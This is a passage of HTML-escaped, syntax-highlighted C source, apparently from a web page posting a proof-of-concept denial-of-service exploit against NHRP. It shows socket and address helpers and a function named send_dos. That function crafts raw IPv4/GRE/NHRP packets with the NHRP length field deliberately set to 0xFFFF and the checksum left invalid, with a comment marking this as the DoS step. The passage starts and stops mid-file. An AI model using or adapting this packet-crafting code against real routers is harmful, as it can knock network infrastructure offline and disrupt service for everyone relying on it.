&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: open_socket: setsockopt failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(fd);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Close the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;close_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fd)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(fd));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Resolve the hostname to IP address */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve_ip&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;host)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; in_addr addr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; hostent &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;host_ent;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;((addr.s_addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;inet_addr&lt;/span&gt;(host)) &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;(host_ent &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;gethostbyname&lt;/span&gt;(host)))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;addr.s_addr, host_ent&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;h_addr, host_ent&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;h_length);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(addr.s_addr);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Get IPv4 address of DEVICE */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_int_ipv4&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; tmp_fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ifreq ifr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;sin;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmp_fd &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;socket&lt;/span&gt;(PF_INET, SOCK_DGRAM, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(tmp_fd &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: get_int_ipv4: socket failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memset&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ifr, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(ifr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sin &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ifr.ifr_addr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;strncpy&lt;/span&gt;(ifr.ifr_name, device, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(ifr.ifr_name));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ifr.ifr_addr.sa_family &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; AF_INET;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;ioctl&lt;/span&gt;(tmp_fd, SIOCGIFADDR, (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ifr) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: get_int_ipv4: ioctl failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(tmp_fd);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(sin&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;sin_addr.s_addr);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Send NHRP packet */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;send_dos&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; src_ip, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; dst_ip,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; gre_key)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ip ip_hdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ip &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;iphdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; gre_h gre_hdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; nhrp_h nhrp_hdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in sin;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; GRE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; GRE_HDR_SIZE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Packet buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;buf;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(gre_key&lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GRE_SIZE&lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt;GRE_KEY_SIZE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Allocate some memory */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;buf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;malloc&lt;/span&gt;(IP_HDR_SIZE&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;GRE_SIZE&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;NHRP_HDR_SIZE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(buf &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: send_dos: malloc failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Increment NHRP request ID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_req_id&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* IPv4 Header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_v             &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP version */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_hl            &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP header length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_tos           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x00&lt;/span&gt;;                 &lt;span style=&#34;color:#75715e&#34;&gt;/* IP ToS */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_len           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(IP_HDR_SIZE  &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GRE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NHRP_HDR_SIZE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP total length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_id            &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP identification */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_off           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP frag offset */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_ttl           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;;                   &lt;span style=&#34;color:#75715e&#34;&gt;/* IP time to live */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_p             &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; IPPROTO_GRE;          &lt;span style=&#34;color:#75715e&#34;&gt;/* IP protocol */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_sum           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP checksum */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_src.s_addr    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; src_ip;               &lt;span style=&#34;color:#75715e&#34;&gt;/* IP source */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_dst.s_addr    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dst_ip;               &lt;span style=&#34;color:#75715e&#34;&gt;/* IP destination */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* GRE header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(gre_key &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.flags   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x2000&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.key     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htonl&lt;/span&gt;(gre_key);       &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE key */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.flags   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.ptype           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x2001&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE type (NHRP) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP fixed header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.afn      &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x0001&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP AFN */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.proto    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x0800&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP protocol type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.snap     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.snapE    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.hops     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFF&lt;/span&gt;;                 &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP hop count */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* DoS -&amp;gt; Set length to 0xFFFF */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.length   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Checksum can be incorrect */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.checksum &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP checksum */&lt;/span&gt;
